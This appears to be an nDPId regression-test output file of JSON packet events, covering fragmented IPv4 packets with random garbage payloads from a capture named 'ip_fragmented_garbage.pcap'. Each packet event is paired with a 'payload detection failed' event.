+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865217,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865230,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865242,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865255,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865268,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865283,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865296,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865309,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865324,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865337,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865362,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865389,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865402,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865414,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865428,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865453,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865467,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865480,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865510,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865525,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865538,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865550,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865562,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865577,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865589,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865603,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865623,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865636,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865649,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865663,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865676,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865689,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865701,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865716,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865728,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865741,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865754,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865766,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865779,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 